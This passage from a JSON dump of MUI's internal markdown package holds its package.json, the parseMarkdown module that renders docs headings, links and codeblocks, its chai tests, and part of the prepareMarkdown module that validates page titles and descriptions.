    "content": "{\n  \"name\": \"@mui/internal-markdown\",\n  \"version\": \"3.0.5\",\n  \"author\": \"MUI Team\",\n  \"description\": \"MUI markdown parser. This is an internal package not meant for general use.\",\n  \"main\": \"./index.mjs\",\n  \"browser\": \"./index.mjs\",\n  \"types\": \"./index.d.mts\",\n  \"exports\": {\n    \".\": \"./index.mjs\",\n    \"./loader\": \"./loader.mjs\",\n    \"./prism\": {\n      \"types\": \"./prism.d.mts\",\n      \"require\": null,\n      \"import\": \"./prism.mjs\"\n    }\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/markdown\"\n  },\n  \"scripts\": {\n    \"release:publish\": \"pnpm publish --tag latest\",\n    \"release:publish:dry-run\": \"pnpm publish --tag latest --registry=\\\"http://localhost:4873/\\\"\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"es-toolkit\": \"^1.45.1\",\n    \"marked\": \"^17.0.5\",\n    \"prismjs\": \"^1.30.0\"\n  },\n  \"devDependencies\": {\n    \"@types/chai\": \"5.2.3\",\n    \"chai\": \"6.2.2\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}\n"
  },
  {
    "path": "packages/markdown/parseMarkdown.mjs",
    "content": "import { marked } from 'marked';\nimport textToHash from './textToHash.mjs';\nimport prism from './prism.mjs';\n\n/**\n * Option used by `marked` the library parsing markdown.\n */\nconst markedOptions = {\n  gfm: true,\n  breaks: false,\n  pedantic: false,\n};\n\nconst headerRegExp = /---[\\r\\n]([\\s\\S]*)[\\r\\n]---/;\nconst titleRegExp = /# (.*)[\\r\\n]/;\nconst descriptionRegExp = /<p class=\"description\">(.*?)<\\/p>/s;\nconst headerKeyValueRegExp = /(.*?):[\\r\\n]?\\s+(\\[[^\\]]+\\]|.*)/g;\nconst emptyRegExp = /^\\s*$/;\n\n/**\n * Same as https://github.com/markedjs/marked/blob/master/src/helpers.js\n * Need to duplicate because `marked` does not export `escape` function\n */\nconst escapeTest = /[&<>\"']/;\nconst escapeReplace = /[&<>\"']/g;\nconst escapeTestNoEncode = /[<>\"']|&(?!#?\\w+;)/;\nconst escapeReplaceNoEncode = /[<>\"']|&(?!#?\\w+;)/g;\nconst escapeReplacements = {\n  '&': '&amp;',\n  '<': '&lt;',\n  '>': '&gt;',\n  '\"': '&quot;',\n  \"'\": '&#39;',\n};\nconst getEscapeReplacement = (ch) => escapeReplacements[ch];\nfunction escape(html, encode) {\n  if (encode) {\n    if (escapeTest.test(html)) {\n      return html.replace(escapeReplace, getEscapeReplacement);\n    }\n  } else if (escapeTestNoEncode.test(html)) {\n    return html.replace(escapeReplaceNoEncode, getEscapeReplacement);\n  }\n\n  return html;\n}\n\nfunction checkUrlHealth(href, linkText, context) {\n  const url = new URL(href, 'https://mui.com/');\n\n  if (/\\/{2,}$/.test(url.pathname)) {\n    throw new Error(\n      [\n        'docs-infra: Duplicated trailing slashes. The following link:',\n        `[${linkText}](${href}) in ${context.location} has duplicated trailing slashes, please only add one.`,\n        '',\n        'See https://ahrefs.com/blog/trailing-slash/ for more details.',\n        '',\n      ].join('\\n'),\n    );\n  }\n\n  // External links to MUI, ignore\n  if (url.host !== 'mui.com') {\n    return;\n  }\n\n  /**\n   * Break for links like:\n   * /material-ui/customization/theming\n   *\n   * It needs to be:\n   * /material-ui/customization/theming/\n   */\n  if (!url.pathname.endsWith('/')) {\n    throw new Error(\n      [\n        'docs-infra: Missing trailing slash. The following link:',\n        `[${linkText}](${href}) in ${context.location} is missing a trailing slash, please add it.`,\n        '',\n        'See https://ahrefs.com/blog/trailing-slash/ for more details.',\n        '',\n      ].join('\\n'),\n    );\n  }\n\n  // Relative links\n  if (href[0] !== '#' && !(href.startsWith('https://') || href.startsWith('http://'))) {\n    /**\n     * Break for links like:\n     * material-ui/customization/theming/\n     *\n     * It needs to be:\n     * /material-ui/customization/theming/\n     */\n    if (href[0] !== '/') {\n      throw new Error(\n        [\n          'docs-infra: Missing leading slash. The following link:',\n          `[${linkText}](${href}) in ${context.location} is missing a leading slash, please add it.`,\n          '',\n        ].join('\\n'),\n      );\n    }\n  }\n}\n\n/**\n * Extract information from the top of the markdown.\n * For instance, the following input:\n *\n * ---\n * title: Backdrop React Component\n * components: Backdrop\n * ---\n *\n * # Backdrop\n *\n * should output:\n * { title: 'Backdrop React Component', components: ['Backdrop'] }\n */\nfunction getHeaders(markdown) {\n  let header = markdown.match(headerRegExp);\n\n  if (!header) {\n    return {\n      components: [],\n    };\n  }\n\n  header = header[1];\n\n  try {\n    let regexMatches;\n    const headers = {};\n\n    // eslint-disable-next-line no-cond-assign\n    while ((regexMatches = headerKeyValueRegExp.exec(header)) !== null) {\n      const key = regexMatches[1];\n      let value = regexMatches[2].replace(/(.*)/, '$1');\n      if (value.startsWith('[')) {\n        // Need double quotes to JSON parse.\n        value = value.replace(/'/g, '\"');\n        // Remove the comma after the last value e.g. [\"foo\", \"bar\",] -> [\"foo\", \"bar\"].\n        value = value.replace(/,\\s+\\]$/g, ']');\n        headers[key] = JSON.parse(value);\n      } else {\n        // Remove quote YAML escaping.\n        headers[key] = value.replace(/^\"|\"$|^'|'$/g, '');\n      }\n    }\n\n    if (headers.components) {\n      headers.components = headers.components\n        .split(',')\n        .map((x) => x.trim())\n        .sort();\n    } else {\n      headers.components = [];\n    }\n\n    if (headers.hooks) {\n      headers.hooks = headers.hooks\n        .split(',')\n        .map((x) => x.trim())\n        .sort();\n    } else {\n      headers.hooks = [];\n    }\n\n    return headers;\n  } catch (err) {\n    throw new Error(\n      `docs-infra: ${err.message} in getHeader(markdown) with markdown: \\n\\n${header}\\n`,\n    );\n  }\n}\n\nfunction getContents(markdown) {\n  const rep = markdown\n    .replace(headerRegExp, '') // Remove header information\n    .split(/^{{(\"(?:demo|component)\":.*)}}$/gm) // Split markdown into an array, separating demos\n    .flatMap((text) => text.split(/^(<codeblock.*?<\\/codeblock>)$/gmsu))\n    .flatMap((text) => text.split(/^(<featureList.*?<\\/featureList>)$/gmsu))\n    .filter((content) => !emptyRegExp.test(content)); // Remove empty lines\n  return rep;\n}\n\nfunction getTitle(markdown) {\n  const matches = markdown.match(titleRegExp);\n\n  if (matches === null) {\n    return '';\n  }\n\n  return matches[1].replace(/`/g, '');\n}\n\nfunction getDescription(markdown) {\n  const matches = markdown.match(descriptionRegExp);\n  if (matches === null) {\n    return undefined;\n  }\n\n  return matches[1].trim().replace(/`/g, '');\n}\n\nfunction getCodeblock(content) {\n  if (!content.startsWith('<codeblock')) {\n    return undefined;\n  }\n  // The regexes below have a negative lookahead to prevent ReDoS\n  // See https://github.com/mui/material-ui/issues/44078\n  const storageKey = content.match(\n    /^<codeblock (?!<codeblock )[^>]*storageKey=[\"|'](?!storageKey=[\"|'])(\\S*)[\"|'].*>/m,\n  )?.[1];\n  const blocks = [...content.matchAll(/^```(\\S*) (\\S*)\\n(.*?)\\n```/gmsu)].map(\n    ([, language, tab, code]) => ({ language, tab, code }),\n  );\n\n  const blocksData = blocks.filter(\n    (block) => block.tab !== undefined && !emptyRegExp.test(block.code),\n  );\n\n  return {\n    type: 'codeblock',\n    data: blocksData,\n    storageKey,\n  };\n}\n\nfunction getFeatureList(content) {\n  if (!content.startsWith('<featureList')) {\n    return undefined;\n  }\n  const lines = content\n    .split('\\n')\n    .filter((line) => line.startsWith('- '))\n    .map((line) => line.slice(2));\n\n  return ['<ul class=\"feature-list\">', ...lines.map((line) => `<li>${line}</li>`), '</ul>'].join(\n    '',\n  );\n}\n\n/**\n * @param {string} markdown\n */\nfunction renderMarkdown(markdown) {\n  // Check if the markdown contains an inline list. Unordered lists are block elements and cannot be parsed inline.\n  if (/[-*+] `([A-Za-z]+)`/g.test(markdown)) {\n    return marked.parse(markdown, markedOptions);\n  }\n  // Two new lines result in a newline in the table.\n  // All other new lines must be eliminated to prevent markdown mayhem.\n  return marked\n    .parseInline(markdown, markedOptions)\n    .replace(/(\\r?\\n){2}/g, '<br>')\n    .replace(/\\r?\\n/g, ' ');\n}\n\n// Help rank mui.com on component searches first.\nconst noSEOadvantage = [\n  'https://m2.material.io/',\n  'https://m3.material.io/',\n  'https://material.io/',\n  'https://getbootstrap.com/',\n  'https://icons.getbootstrap.com/',\n  'https://pictogrammers.com/',\n  'https://www.w3.org/',\n  'https://tailwindcss.com/',\n  'https://heroicons.com/',\n  'https://react-icons.github.io/',\n  'https://fontawesome.com/',\n  'https://react-spectrum.adobe.com/',\n  'https://headlessui.com/',\n  'https://refine.dev/',\n  'https://scaffoldhub.io/',\n  'https://marmelab.com/',\n  'https://framesxdesign.com/',\n];\n\n/**\n * Creates a function that MUST be used to render non-inline markdown.\n * It keeps track of a table of contents and hashes of its items.\n * This is important to create anchors that are invariant between languages.\n *\n * @typedef {object} TableOfContentsEntry\n * @property {TableOfContentsEntry[]} children\n * @property {string} hash\n * @property {number} level\n * @property {string} text\n * @param {object} context\n * @param {Record<string, string>} [context.headingHashes] - WILL BE MUTATED\n * @param {TableOfContentsEntry[]} [context.toc] - WILL BE MUTATED\n * @param {string} [context.userLanguage]\n * @param {object} context.options\n */\nfunction createRender(context) {\n  const { headingHashes = {}, toc = [], userLanguage = 'en', options } = context;\n  const headingHashesFallbackTranslated = {};\n  let headingIndex = -1;\n\n  /**\n   * @param {string} markdown\n   */\n  function render(markdown) {\n    const renderer = new marked.Renderer();\n    renderer.heading = function heading({ tokens, depth: level }) {\n      // Main title, no need for an anchor.\n      // It adds noises to the URL.\n      //\n      // Small title, no need for an anchor.\n      // It reduces the risk of duplicated id and it's fewer elements in the DOM.\n      const headingHtml = this.parser.parseInline(tokens);\n      if (level === 1 || level >= 4) {\n        return `<h${level}>${headingHtml}</h${level}>`;\n      }\n\n      // Remove links to avoid nested links in the TOCs\n      let headingText = headingHtml.replace(/<a\\b[^>]*>/gi, '').replace(/<\\/a>/gi, '');\n      // Remove `code` tags\n      headingText = headingText.replace(/<code\\b[^>]*>/gi, '').replace(/<\\/code>/gi, '');\n\n      // Standardizes the hash from the default location (en) to different locations\n      // Need english.md file parsed first\n      let hash;\n      if (userLanguage === 'en') {\n        hash = textToHash(headingText, headingHashes);\n      } else {\n        headingIndex += 1;\n        hash = Object.keys(headingHashes)[headingIndex];\n        if (!hash) {\n          hash = textToHash(headingText, headingHashesFallbackTranslated);\n        }\n      }\n\n      // enable splitting of long words from function name + first arg name\n      // Closing parens are less interesting since this would only allow breaking one character earlier.\n      // Applying the same mechanism would also allow breaking of non-function signatures like \"Community help (free)\".\n      // To detect that we enabled breaking of open/closing parens we'd need a context-sensitive parser.\n      const displayText = headingText.replace(/([^\\s]\\()/g, '$1&#8203;');\n\n      // create a nested structure with 2 levels starting with level 2 e.g.\n      // [{...level2, children: [level3, level3, level3]}, level2]\n      if (level === 2) {\n        toc.push({\n          text: displayText,\n          level,\n          hash,\n          children: [],\n        });\n      } else if (level === 3) {\n        if (!toc[toc.length - 1]) {\n          throw new Error(`docs-infra: Missing parent level for: ${headingText}\\n`);\n        }\n\n        toc[toc.length - 1].children.push({\n          text: displayText,\n          level,\n          hash,\n        });\n      }\n\n      return [\n        headingHtml.includes('<a ')\n          ? [\n              // Avoid breaking the anchor link button\n              `<h${level} id=\"${hash}\">${headingHtml}`,\n              `<a href=\"#${hash}\" class=\"title-link-to-anchor\" aria-labelledby=\"${hash}\"><span class=\"anchor-icon\"><svg><use xlink:href=\"#anchor-link-icon\" /></svg></span></a>`,\n            ].join('')\n          : `<h${level} id=\"${hash}\"><a href=\"#${hash}\" class=\"title-link-to-anchor\">${headingHtml}<span class=\"anchor-icon\"><svg><use xlink:href=\"#anchor-link-icon\" /></svg></span></a>`,\n        `<button title=\"Post a comment\" class=\"comment-link\" data-feedback-hash=\"${hash}\">`,\n        '<svg><use xlink:href=\"#comment-link-icon\" /></svg>',\n        `</button>`,\n        `</h${level}>`,\n      ].join('');\n    };\n    renderer.link = function link({ href, title, tokens }) {\n      const linkText = this.parser.parseInline(tokens);\n      let more = '';\n\n      if (title) {\n        more += ` title=\"${title}\"`;\n      }\n\n      if (noSEOadvantage.some((domain) => href.includes(domain))) {\n        more = ' target=\"_blank\" rel=\"noopener nofollow\"';\n      }\n\n      let finalHref = href;\n\n      checkUrlHealth(href, linkText, context);\n\n      if (userLanguage !== 'en' && href.startsWith('/') && !options.ignoreLanguagePages(href)) {\n        finalHref = `/${userLanguage}${href}`;\n      }\n\n      // This logic turns link like:\n      // https://github.com/mui/material-ui/blob/-/packages/mui-joy/src/styles/components.d.ts\n      // into a permalink:\n      // https://github.com/mui/material-ui/blob/v5.11.15/packages/mui-joy/src/styles/components.d.ts\n      if (finalHref.startsWith(`${options.env.SOURCE_CODE_REPO}/blob/-/`)) {\n        finalHref = finalHref.replace(\n          `${options.env.SOURCE_CODE_REPO}/blob/-/`,\n          `${options.env.SOURCE_CODE_REPO}/blob/v${options.env.LIB_VERSION}/`,\n        );\n      }\n\n      return `<a href=\"${finalHref}\"${more}>${linkText}</a>`;\n    };\n    renderer.tablecell = function tablecell({ tokens, header, align }) {\n      const tag = header ? 'th' : 'td';\n      const style = align ? ` style=\"text-align:${align}\"` : '';\n      return `<${tag}${style}>${this.parser.parseInline(tokens)}</${tag}>\\n`;\n    };\n    renderer.code = ({ lang, text, escaped }) => {\n      // https://github.com/markedjs/marked/blob/30e90e5175700890e6feb1836c57b9404c854466/src/Renderer.js#L15\n      const langString = (lang || '').match(/\\S*/)[0];\n      const title = (lang || '').match(/title=\"([^\"]*)\"/)?.[1];\n      const out = prism(text, langString);\n      if (out != null && out !== text) {\n        escaped = true;\n        text = out;\n      }\n\n      const code = `${text.replace(/\\n$/, '')}\\n`;\n\n      if (!lang) {\n        return `<pre><code>${escaped ? code : escape(code, true)}</code></pre>\\n`;\n      }\n\n      return `<div class=\"MuiCode-root\">${title ? `<div class=\"MuiCode-title\">${title}</div>` : ''}<pre><code class=\"language-${escape(lang, true)}\">${\n        escaped ? code : escape(code, true)\n      }</code></pre>${[\n        '<button data-ga-event-category=\"code\" data-ga-event-action=\"copy-click\" aria-label=\"Copy the code\" class=\"MuiCode-copy\">',\n        '<span class=\"MuiCode-copy-label\">Copy</span>',\n        '<span class=\"MuiCode-copied-label\">Copied</span>',\n        '<span class=\"MuiCode-copyKeypress\"><span>(or</span> $keyC<span>)</span></span></button></div>',\n      ].join('')}\\n`;\n    };\n\n    marked.use({\n      extensions: [\n        {\n          name: 'callout',\n          level: 'block',\n          start(src) {\n            const match = src.match(/:::/);\n            return match ? match.index : undefined;\n          },\n          tokenizer(src) {\n            const rule =\n              /^ {0,3}(:{3,}(?=[^:\\n]*\\n)|~{3,})([^\\n]*)\\n(?:|([\\s\\S]*?)\\n)(?: {0,3}\\1[~:]* *(?=\\n|$)|$)/;\n            const match = rule.exec(src);\n            if (match) {\n              const token = {\n                type: 'callout',\n                raw: match[0],\n                text: match[3].trim(),\n                severity: match[2],\n                tokens: [],\n              };\n              this.lexer.blockTokens(token.text, token.tokens);\n              return token;\n            }\n            return undefined;\n          },\n          renderer(token) {\n            if (!['info', 'success', 'warning', 'error'].includes(token.severity)) {\n              throw new Error(`docs-infra: Callout :::${token.severity} is not supported`);\n            }\n\n            return `<aside class=\"MuiCallout-root MuiCallout-${token.severity}\">${[\n              '<div class=\"MuiCallout-icon-container\">',\n              '<svg focusable=\"false\" aria-hidden=\"true\" viewBox=\"0 0 24 24\">',\n              `<use class=\"MuiCode-copied-icon\" xlink:href=\"#${token.severity}-icon\" />`,\n              '</svg>',\n              '</div>',\n            ].join(\n              '\\n',\n            )}<div class=\"MuiCallout-content\">${this.parser.parse(token.tokens)}</div></aside>`;\n          },\n        },\n      ],\n    });\n\n    return marked(markdown, { ...markedOptions, renderer });\n  }\n\n  return render;\n}\n\nexport {\n  createRender,\n  getContents,\n  getDescription,\n  getCodeblock,\n  getFeatureList,\n  getHeaders,\n  getTitle,\n  renderMarkdown,\n};\n"
  },
  {
    "path": "packages/markdown/parseMarkdown.test.mjs",
    "content": "import { expect } from 'chai';\nimport {\n  getContents,\n  getDescription,\n  getTitle,\n  getHeaders,\n  getCodeblock,\n  renderMarkdown,\n  createRender,\n} from './parseMarkdown.mjs';\n\ndescribe('parseMarkdown', () => {\n  describe('getTitle', () => {\n    it('remove backticks', () => {\n      expect(\n        getTitle(`\n# \\`@mui/styled-engine\\`\n\n<p class=\"description\">Configuring your preferred styling library.</p>\n      `),\n      ).to.equal('@mui/styled-engine');\n    });\n  });\n\n  describe('getDescription', () => {\n    it('trims the description', () => {\n      expect(\n        getDescription(`\n<p class=\"description\">\n  Some description\n</p>\n      `),\n      ).to.equal('Some description');\n    });\n\n    it('remove backticks', () => {\n      expect(\n        getDescription(`\n<p class=\"description\">\n  Some \\`description\\`\n</p>\n      `),\n      ).to.equal('Some description');\n    });\n\n    it('should not be greedy', () => {\n      expect(\n        getDescription(`\n<p class=\"description\">\n  Some description\n</p>\n## Foo\n<p>bar</p>\n      `),\n      ).to.equal('Some description');\n    });\n  });\n\n  describe('getHeaders', () => {\n    it('should return a correct result', () => {\n      expect(\n        getHeaders(`\n---\ntitle: React Alert component\ncomponents: Alert, AlertTitle\nhooks: useAlert\ngithubLabel: 'scope: alert'\npackageName: '@mui/lab'\nwaiAria: https://www.w3.org/TR/wai-aria-practices/#alert\nauthors: ['foo', 'bar']\n---\n`),\n      ).to.deep.equal({\n        components: ['Alert', 'AlertTitle'],\n        hooks: ['useAlert'],\n        githubLabel: 'scope: alert',\n        packageName: '@mui/lab',\n        title: 'React Alert component',\n        waiAria: 'https://www.w3.org/TR/wai-aria-practices/#alert',\n        authors: ['foo', 'bar'],\n      });\n    });\n\n    it('should work with authors broken in two lines', () => {\n      expect(\n        getHeaders(`\n---\ntitle: React Alert component\ncomponents: Alert, AlertTitle\nauthors:\n  ['foo', 'bar']\n---\n`),\n      ).to.deep.equal({\n        components: ['Alert', 'AlertTitle'],\n        hooks: [],\n        title: 'React Alert component',\n        authors: ['foo', 'bar'],\n      });\n    });\n\n    it('should work with one author per line', () => {\n      expect(\n        getHeaders(`\n---\ntitle: React Alert component\ncomponents: Alert, AlertTitle\nauthors:\n  [\n    'foo',\n    'bar',\n  ]\n---\n    `),\n      ).to.deep.equal({\n        components: ['Alert', 'AlertTitle'],\n        hooks: [],\n        title: 'React Alert component',\n        authors: ['foo', 'bar'],\n      });\n    });\n\n    it('should work with quotes', () => {\n      expect(\n        getHeaders(`\n---\ntitle: \"Our docs just got a major upgrade—here's what that means for you\"\n---\n    `),\n      ).to.deep.equal({\n        title: \"Our docs just got a major upgrade—here's what that means for you\",\n        components: [],\n        hooks: [],\n      });\n    });\n  });\n\n  describe('getContents', () => {\n    describe('Split markdown into an array, separating demos', () => {\n      it('returns a single entry without a demo', () => {\n        expect(getContents('# SomeGuide\\nwhich has no demo')).to.deep.equal([\n          '# SomeGuide\\nwhich has no demo',\n        ]);\n      });\n\n      it('uses a `{{\"demo\"` marker to split', () => {\n        expect(\n          getContents('# SomeGuide\\n{{\"demo\": \"GuideDemo.js\" }}\\n## NextHeading'),\n        ).to.deep.equal(['# SomeGuide\\n', '\"demo\": \"GuideDemo.js\" ', '\\n## NextHeading']);\n      });\n\n      it('ignores possible code', () => {\n        expect(getContents('# SomeGuide\\n```jsx\\n<Button props={{\\nfoo: 1\\n}}')).to.deep.equal([\n          '# SomeGuide\\n```jsx\\n<Button props={{\\nfoo: 1\\n}}',\n        ]);\n      });\n    });\n\n    describe('Split markdown into an array, separating codeblocks', () => {\n      it('uses a `<codeblock>` tag to split', () => {\n        expect(\n          getContents(\n            [\n              '## Tabs',\n              '',\n              '<codeblock storageKey=\"package-manager\">',\n              '',\n              '```bash npm',\n              'npm install @mui/material @emotion/react @emotion/styled',\n              '```',\n              '',\n              '```bash yarn',\n              'yarn add @mui/material @emotion/react @emotion/styled',\n              '```',\n              '',\n              '</codeblock>',\n            ].join('\\n'),\n          ),\n        ).to.deep.equal([\n          '## Tabs\\n\\n',\n          [\n            '<codeblock storageKey=\"package-manager\">',\n            '',\n            '```bash npm',\n            'npm install @mui/material @emotion/react @emotion/styled',\n            '```',\n            '',\n            '```bash yarn',\n            'yarn add @mui/material @emotion/react @emotion/styled',\n            '```',\n            '',\n            '</codeblock>',\n          ].join('\\n'),\n        ]);\n      });\n    });\n  });\n\n  describe('getCodeblock', () => {\n    it('should return undefined if no codeblock found', () => {\n      const codeblock = getCodeblock('## Tabs');\n      expect(codeblock).to.equal(undefined);\n    });\n\n    it('should return the codeblock', () => {\n      const codeblock = getCodeblock(\n        [\n          '<codeblock storageKey=\"package-manager\">',\n          '',\n          '```bash npm',\n          'npm install @mui/material @emotion/react @emotion/styled',\n          '# `@emotion/react` and `@emotion/styled` are peer dependencies',\n          '```',\n          '',\n          '```sh yarn',\n          'yarn add @mui/material @emotion/react @emotion/styled',\n          '# `@emotion/react` and `@emotion/styled` are peer dependencies',\n          '```',\n          '',\n          '</codeblock>',\n        ].join('\\n'),\n      );\n      expect(codeblock).to.deep.equal({\n        type: 'codeblock',\n        storageKey: 'package-manager',\n        data: [\n          {\n            language: 'bash',\n            tab: 'npm',\n            code: [\n              'npm install @mui/material @emotion/react @emotion/styled',\n              '# `@emotion/react` and `@emotion/styled` are peer dependencies',\n            ].join('\\n'),\n          },\n          {\n            language: 'sh',\n            tab: 'yarn',\n            code: [\n              'yarn add @mui/material @emotion/react @emotion/styled',\n              '# `@emotion/react` and `@emotion/styled` are peer dependencies',\n            ].join('\\n'),\n          },\n        ],\n      });\n    });\n  });\n\n  describe('renderMarkdown', () => {\n    it('should render markdown lists correctly', () => {\n      expect(\n        renderMarkdown(\n          [\n            'The track presentation:',\n            '- `normal` the track will render a bar representing the slider value.',\n            '- `inverted` the track will render a bar representing the remaining slider value.',\n            '- `false` the track will render without a bar.',\n          ].join('\\n'),\n        ),\n      ).to.equal(\n        [\n          '<p>The track presentation:</p>',\n          '<ul>',\n          '<li><code>normal</code> the track will render a bar representing the slider value.</li>',\n          '<li><code>inverted</code> the track will render a bar representing the remaining slider value.</li>',\n          '<li><code>false</code> the track will render without a bar.</li>',\n          '</ul>',\n          '',\n        ].join('\\n'),\n      );\n    });\n\n    it('should render inline descriptions correctly', () => {\n      expect(\n        renderMarkdown(\n          'Allows to control whether the dropdown is open. This is a controlled counterpart of `defaultOpen`.',\n        ),\n      ).to.equal(\n        'Allows to control whether the dropdown is open. This is a controlled counterpart of <code>defaultOpen</code>.',\n      );\n    });\n  });\n\n  describe('createRender', () => {\n    it('should collect headers correctly', () => {\n      const context = { toc: [], headingHashes: {} };\n      // eslint-disable-next-line testing-library/render-result-naming-convention\n      const render = createRender(context);\n\n      expect(\n        render(\n          [\n            '# Accordion',\n            '## Basic features 🧪',\n            '## Using `slots` and `slotProps`',\n            '### Specific example',\n          ].join('\\n'),\n        ),\n      ).to.equal(\n        [\n          `<h1>Accordion</h1>`,\n          `<h2 id=\"basic-features\"><a href=\"#basic-features\" class=\"title-link-to-anchor\">Basic features 🧪<span class=\"anchor-icon\"><svg><use xlink:href=\"#anchor-link-icon\" /></svg></span></a><button title=\"Post a comment\" class=\"comment-link\" data-feedback-hash=\"basic-features\"><svg><use xlink:href=\"#comment-link-icon\" /></svg></button></h2>`,\n          `<h2 id=\"using-slots-and-slotprops\"><a href=\"#using-slots-and-slotprops\" class=\"title-link-to-anchor\">Using <code>slots</code> and <code>slotProps</code><span class=\"anchor-icon\"><svg><use xlink:href=\"#anchor-link-icon\" /></svg></span></a><button title=\"Post a comment\" class=\"comment-link\" data-feedback-hash=\"using-slots-and-slotprops\"><svg><use xlink:href=\"#comment-link-icon\" /></svg></button></h2>`,\n          `<h3 id=\"specific-example\"><a href=\"#specific-example\" class=\"title-link-to-anchor\">Specific example<span class=\"anchor-icon\"><svg><use xlink:href=\"#anchor-link-icon\" /></svg></span></a><button title=\"Post a comment\" class=\"comment-link\" data-feedback-hash=\"specific-example\"><svg><use xlink:href=\"#comment-link-icon\" /></svg></button></h3>`,\n        ].join(''),\n      );\n\n      expect(context.toc).to.deep.equal([\n        {\n          children: [],\n          hash: 'basic-features',\n          level: 2,\n          text: 'Basic features 🧪',\n        },\n        {\n          children: [\n            {\n              hash: 'specific-example',\n              level: 3,\n              text: 'Specific example',\n            },\n          ],\n          hash: 'using-slots-and-slotprops',\n          level: 2,\n          text: 'Using slots and slotProps',\n        },\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/markdown/prepareMarkdown.mjs",
    "content": "import fs from 'fs';\nimport path from 'path';\nimport { kebabCase } from 'es-toolkit/string';\nimport {\n  createRender,\n  getContents,\n  getDescription,\n  getCodeblock,\n  getFeatureList,\n  getHeaders,\n  getTitle,\n} from './parseMarkdown.mjs';\n\n/**\n * @type {string | string[]}\n */\nconst BaseUIReexportedComponents = [];\n\n/**\n * @param {string} productId\n * @example 'material'\n * @param {string} componentPkg\n * @example 'mui-base'\n * @param {string} component\n * @example 'Button'\n * @returns {string}\n */\nfunction resolveComponentApiUrl(productId, componentPkg, component) {\n  if (!productId) {\n    return `/api/${kebabCase(component)}/`;\n  }\n  if (productId === 'x-date-pickers') {\n    return `/x/api/date-pickers/${kebabCase(component)}/`;\n  }\n  if (productId === 'x-charts') {\n    return `/x/api/charts/${kebabCase(component)}/`;\n  }\n  if (productId === 'x-tree-view') {\n    return `/x/api/tree-view/${kebabCase(component)}/`;\n  }\n  if (productId === 'x-data-grid') {\n    return `/x/api/data-grid/${kebabCase(component)}/`;\n  }\n  if (productId === 'x-scheduler') {\n    return `/x/api/scheduler/${kebabCase(component)}/`;\n  }\n  if (componentPkg === 'mui-base' || BaseUIReexportedComponents.includes(component)) {\n    return `/base-ui/react-${kebabCase(component)}/components-api/#${kebabCase(component)}`;\n  }\n  if (productId === 'toolpad-core') {\n    return `/toolpad/core/api/${kebabCase(component)}/`;\n  }\n  return `/${productId}/api/${kebabCase(component)}/`;\n}\n\n/**\n * @typedef  {{ component: string, demo?: undefined }} ComponentEntry\n * @typedef  {{ component?: undefined, demo: string, hideToolbar?: boolean }} DemoEntry\n */\n\n/**\n * @typedef {{ rendered: Array<string | ComponentEntry | DemoEntry> }} TranslatedDoc\n */\n\n/**\n * @param {object} config\n * @param {Array<{ markdown: string, filename: string, userLanguage: string }>} config.translations - Mapping of locale to its markdown\n * @param {string} config.fileRelativeContext - posix filename relative to repository root directory\n * @param {object} config.options - provided to the webpack loader\n * @param {string} config.options.workspaceRoot - The absolute path of the repository root directory\n * @param {object} [config.componentPackageMapping] - Mapping of productId to mapping of component name to package name\n * @example { 'material': { 'Button': 'mui-material' } }\n * @returns {{ docs: Record<string, TranslatedDoc> }} - Mapping of locale to its prepared markdown\n */\nfunction prepareMarkdown(config) {\n  const { fileRelativeContext, translations, componentPackageMapping = {}, options } = config;\n\n  /**\n   * @type {Record<string, TranslatedDoc>}\n   */\n  const docs = {};\n  const headingHashes = {};\n\n  translations\n    // Process the English markdown before the other locales.\n    // English ToC anchor links are used in all languages\n    .sort((a) => (a.userLanguage === 'en' ? -1 : 1))\n    .forEach((translation) => {\n      const { filename, markdown, userLanguage } = translation;\n      const headers = getHeaders(markdown);\n      const location = headers.filename || `/${fileRelativeContext}/${filename}`;\n      const markdownH1 = getTitle(markdown);\n      const title = headers.title || markdownH1;\n      const description = headers.description || getDescription(markdown);\n\n      if (title == null || title === '') {\n        throw new Error(`docs-infra: Missing title in the page: ${location}\\n`);\n      }\n\n      if (title.length > 70) {\n        throw new Error(\n          [\n            `docs-infra: The title \"${title}\" is too long (${title.length} characters).`,\n            'It needs to have fewer than 70 characters—ideally less than 60. For more details, see:',\n            'https://developers.google.com/search/docs/advanced/appearance/title-link',\n            '',\n          ].join('\\n'),\n        );\n      }\n\n      if (description == null || description === '') {\n        throw new Error(`docs-infra: Missing description in the page: ${location}\\n`);\n      }\n\n      if (description.length > 160) {\n        throw new Error(\n          [\n            `docs-infra: The description \"${description}\" is too long (${description.length} characters).`,\n            'It needs to have fewer than 170 characters—ideally less than 160. For more details, see:',\n            'https://ahrefs.com/blog/meta-description/#4-be-concise',\n            '',\n          ].join('\\n'),\n        );\n      }\n\n      if (description.slice(-1) !== '.' && description.slice(-1) !== '!') {\n        throw new Error(\n          `docs-infra: The description \"${description}\" should end with a \".\" or \"!\", those are sentences.`,\n        );\n      }\n\n      const contents = getContents(markdown);\n\n      if (headers.components.length > 0 && headers.productId !== 'base-ui') {\n        contents.push(`\n## API\n\nSee the documentation below for a complete reference to all of the props and classes available to the components mentioned here.\n\n${headers.components\n  .map((component) => {\n    const componentPkgMap = componentPackageMapping[headers.productId];\n    const componentPkg = componentPkgMap ? componentPkgMap[component] : null;\n    return `- [\\`<${component} />\\`](${resolveComponentApiUrl(\n      headers.productId,\n      componentPkg,\n      component,\n    )})`;\n  })\n  .join('\\n')}\n${headers.hooks\n  .map((hook) => {\n    const componentPkgMap = componentPackageMapping[headers.productId];\n    const componentPkg = componentPkgMap ? componentPkgMap[hook] : null;\n    return `- [\\`${hook}\\`](${resolveComponentApiUrl(headers.productId, componentPkg, hook)})`;\n  })\n  .join('\\n')}\n  `);\n      }\n\n      const toc = [];\n      const render = createRender({\n        headingHashes,\n        toc,\n        userLanguage,\n        location,\n        options,\n      });\n\n      const rendered = contents.map((content) => {\n        if (/^\"(demo|component)\": \"(.*)\"/.test(content)) {\n          try {\n            return JSON.parse(`{${content}}`);\n          } catch (err) {\n            console.error('JSON.parse fails with: ', `{${content}}`);\n            console.error(err);\n            return null;\n          }\n        }\n        const codeblock = getCodeblock(content);\n\n        if (codeblock) {\n          return codeblock;\n        }\n\n        const featureList = getFeatureList(content);\n\n        if (featureList) {\n          return featureList;\n        }\n\n      